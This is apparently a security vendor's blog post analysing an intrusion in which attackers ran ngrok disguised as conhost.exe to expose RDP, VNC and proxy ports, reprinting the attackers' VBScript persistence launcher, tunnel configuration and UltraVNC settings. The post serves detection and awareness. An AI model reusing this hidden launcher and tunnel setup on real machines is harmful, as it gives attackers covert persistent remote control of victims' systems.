John Hammond 03.16.2021

Abusing Ngrok: Hackers at the End of the Tunnel

Do you know that expression, “light at the end of the tunnel?”

Usually, that has a positive connotation. After some hard work or persevering through something difficult or unpleasant, you can see "the light at the end of the tunnel” and rejoice that the work is almost done.

Today, we are telling a different story. At the end of this tunnel, we’ll find some shady hackers gaining remote control access to some victim networks. 

And when we say tunnel, we mean a computer networking tunnel—like a proxy, packets being routed or sent someplace else. In some scenarios, “tunneling” like this actually has a good and functional purpose. But when we see it while we are hunting for malware, it is often used for bad guys to exfiltrate data or control network traffic.

In this case, we saw artifacts that indicate a hacker used ngrok to tunnel traffic from RDP and VPN ports out to the open Internet.

Wait, What Is an “Ngrok?”

Ngrok is a cross-platform application that exposes local server ports to the Internet. Their website claims, “[so you can] spend more time programming—one command for an instant, secure URL to your localhost server through any NAT or firewall.”

Honestly, it sounds pretty cool, right? Say you were developing a couple website pages and you wanted to show it to your friend, but you didn’t have all the infrastructure already set up—well you know what, why don’t I show you?

Here is a basic demo HTML page just being served on a local development machine.

HTML page

Pretty boring. Obviously this is just for demonstrations sake—but if I were to fire up ngrok…

ngrok http 80

ngrok http 80

You can see I have a forwarded port and tunnel set up from port 80 (HTTP) on my localhost, now publicly available at http[:]//d7d61b3bf14c.ngrok.io!

Now anyone on the Internet (including those programmer buddies I mentioned!) can access this site. 

Checking back at the ngrok output:

Very cool! We can see the requests that came in and the number of connections. Now I can stop ngrok, and that will tear down the tunnel—that public endpoint no longer reaches my local machine. Quick, temporarily tunnels as you need them.

This was a super simple showcase of ngrok. And it is not just spinning up an HTTP server—you can make any port publicly accessible. While I used the ngrok http 80 syntax in that example, you could supply ngrok tcp 445 or define ports to use in a configuration file.

That is the intended and benign use of ngrok, for its real functional purpose. But I think you might be able to guess how this can be used for more nefarious purposes. 😉

So Where Are the Bad Guys?

Check out this persistent foothold we found on a victim computer. 

Dim objShell
Set objShell = WScript.CreateObject("WScript.Shell")
command = "powershell -windowstyle hidden C:\ProgramData\WindNT\conhost.exe start --config=C:\ProgramData\WindNT\ngrok.yml --all --region=eu"
objShell.Run command,0
Set objShell = Nothing

This is a Visual Basic Script—code that will natively run on a Windows operating system. VBScript and others, like JScript, HTA, PowerShell or Batch scripts are common targets for bad actors because they will inherently execute on Windows.

If you aren’t familiar with VBScript, a good tell-tale is the use of Dim to declare local variables. We see an objShell variable being declared, and then Set to a WScript.Shell object. The WScript.Shell object can be used to run commands or start processes—again, another attractive feature for hackers.

In this case, it sets up a command to run powershell, with a hidden window (spooky!) starting a conhost.exe process with arguments defining a “config” and a “region,” seemingly.

The script will Run the command, and then clean up the objShell object by setting it to Nothing.

What Is Conhost.exe?

Conhost.exe is usually a process spawned by command shells like PowerShell or cmd.exe, so if an analyst were simply looking at a process tree and not seeing command-line arguments, maybe this looks innocent.

However, the command-line arguments indicate that this is not the known conhost.exe.

This is ngrok, masquerading and hiding as conhost.exe—just a simple renamed file.

Those command-line arguments to specify a configuration file and region are what the ngrok program would typically expect. With those parameters, you can specify a specific configuration file that is in a different location than the default—and the region where the ngrok client will connect to host its tunnels.

This command does not indicate which ports it is going to expose to the Internet, though—where are those supplied? Well, we will have to dive into that configuration file it mentioned!

Malicious Ngrok Configuration File

tunnels:
  rdp:
      proto: tcp
      addr: 3389
  wnc:
      proto: tcp
      addr: 6300
  mobil:
      proto: tcp
       addr: 3128

(The configuration file also includes the authtoken to connect to this ngrok account—but as a strange act of a good service to the hackers, I won’t expose that here 😉)

When ngrok is invoked with the `start` command it will read and operate as defined in the configuration file, and the --all argument means it will start all of the defined tunnels.

These shady fellows are publicly exposing RDP on port 3389, a VNC server on port 6300, and potentially a Squid or HTTP proxy on port 3128!

Needless to say, the Remote Desktop Protocol being accessible to the open Internet is an attack vector on its own. But these bad guys could be using it for continued remote access or more post-exploitation now that they have already compromised this target.

If RDP wasn’t enough, they double it up with a tunnel to access VNC (Virtual Network Computer), which offers practically the same functionality as RDP. Graphical desktop sharing—so the hackers can take advantage of this computer remotely from anywhere in the world.

The use for the Squid or HTTP proxy on port 3128 is questionable. Perhaps this could be used for more internal-network access, to easily perform lateral movement even when “externally” connecting to the target. Even if there aren’t services running on these ports, ngrok will still happily tunnel them out for the whole world to see.

Let’s cross our fingers for the poor victim here and pretend perhaps RDP service was disabled, maybe no VNC server installed, or there was no Squid or HTTP proxy running—could the hackers enable these?

If they already compromised the machine and they had enough access, they certainly could.

VNC: The Villain

In fact, the hackers brought in a VNC server. This persistence method is a bit “heavy” compared to some of the simple techniques they could have used, but hey—a graphical-interface to keep hacking away on their target? I’m sure they won’t turn that down.

While we found that persistent VBScript code, we also found a VNC server “winvnc.exe” (that is also living out of the “Chrome” folder in a user’s AppData, which makes for a good laugh).

This VNC server is also set up in a Windows Registry “Run Key”, so it remains persistent and will run each time that user logs in. These persistent registry keys are appropriately (I use that word in jest) named “WindNT,” to keep playing off the same theme of the fake conhost.exe, “ConhostNT.”

Now you might be saying, as the smart and educated computer user that you are, “but John, VNC servers will usually listen on port 5900, right? Ngrok didn’t expose that!”

And you’re absolutely right.

But hackers also play into the joke, “security by obscurity.” You know the punchline—changing services to their non-standard port, or trying to fool folks by reversing ports like using 9983 for RDP (I’m looking at you, SMB Company XYZ!)

We dug up the VNC configuration file that was present in the same directory as the winvnc.exe executable.

[Permissions]
[admin]
FileTransferEnabled=1
FTUserImpersonation=1
BlankMonitorEnabled=0
BlankInputsOnly=0
DefaultScale=1
UseDSMPlugin=0
DSMPlugin=
DSMPluginConfig=
primary=1
secondary=0
SocketConnect=1
HTTPConnect=0
XDMCPConnect=0
AutoPortSelect=0
PortNumber=6300
HTTPPortNumber=6301
InputsEnabled=1
LocalInputsDisabled=0
IdleTimeout=0
EnableJapInput=0
QuerySetting=2
QueryTimeout=10
QueryAccept=0
LockSetting=0
RemoveWallpaper=0
RemoveEffects=0
RemoveFontSmoothing=0
RemoveAero=0
DebugMode=0
Avilog=0
path=C:\Users\admin\Desktop\RD
DebugLevel=0
AllowLoopback=1
LoopbackOnly=0
AllowShutdown=0
AllowProperties=1
AllowEditClients=1
FileTransferTimeout=30
KeepAliveInterval=5
SocketKeepAliveTimeout=10000
DisableTrayIcon=1
MSLogonRequired=0
NewMSLogon=0
ConnectPriority=1
[UltraVNC]
passwd=1B2A1BCF17E01EEF33
passwd2=494015F9A35E8B2245

That VNC server is totally running on port 6300—exactly what ngrok exposed to the world—evident by that clear PortNumber=6300 line.

From the configuration file syntax, we gather that this is not WinVNC (as one might suspect from the filename) but rather UltraVNC. This offers more file transfer features and functionally, again visible in the configuration file by the lines FileTransferEnabled=1 and FTUserImpersonation=1 even allowing transfer by impersonated users.

What Does This Mean?

Ngrok is a tool that serves a legitimate purpose. It offers a simple solution to quickly expose a local server to the Internet—when you want to expose something to the Internet. 

When you don’t, then it is a different story. 

As always, hackers use and abuse the genuine function of a utility and repurpose it for evil. While bad actors have been known to use ngrok in the past, we hope that this example puts it in a new light.

Public-facing RDP or any open-access to any graphical-interface remote control could be devastating to an organization. In this case, hackers use it for persistence, but can also weaponize this to continue their campaign, exfiltrate data, potentially perform more lateral movement, and more. It is, after all, remote access. Command and control with a full desktop session, on the open Internet, readily waiting for hackers anywhere in the world.

We want to bring this to you for continued education and awareness. We say buzzwords and those over-saturated mantras like, “defense in depth,” “assume breach,” or “it’s not if, but when”...

… but we really mean it. Once a hacker has compromised a host, they have just opened the door for much more damage. Whether it is exfiltrating data, moving laterally throughout the network, or even installing persistence with an RDP or VNC server accessible world-wide—they are off the leash. At that point, it's hard to find that “light at the end of the tunnel.”

That’s why at Huntress, we hunt. It’s vital to know this tradecraft and understand these tactics, so we can better detect and prevent incidents like this... before hackers are the ones at the other end of the pipe.

avatar

John Hammond

Threat hunter. Education enthusiast. Senior Security Researcher at Huntress.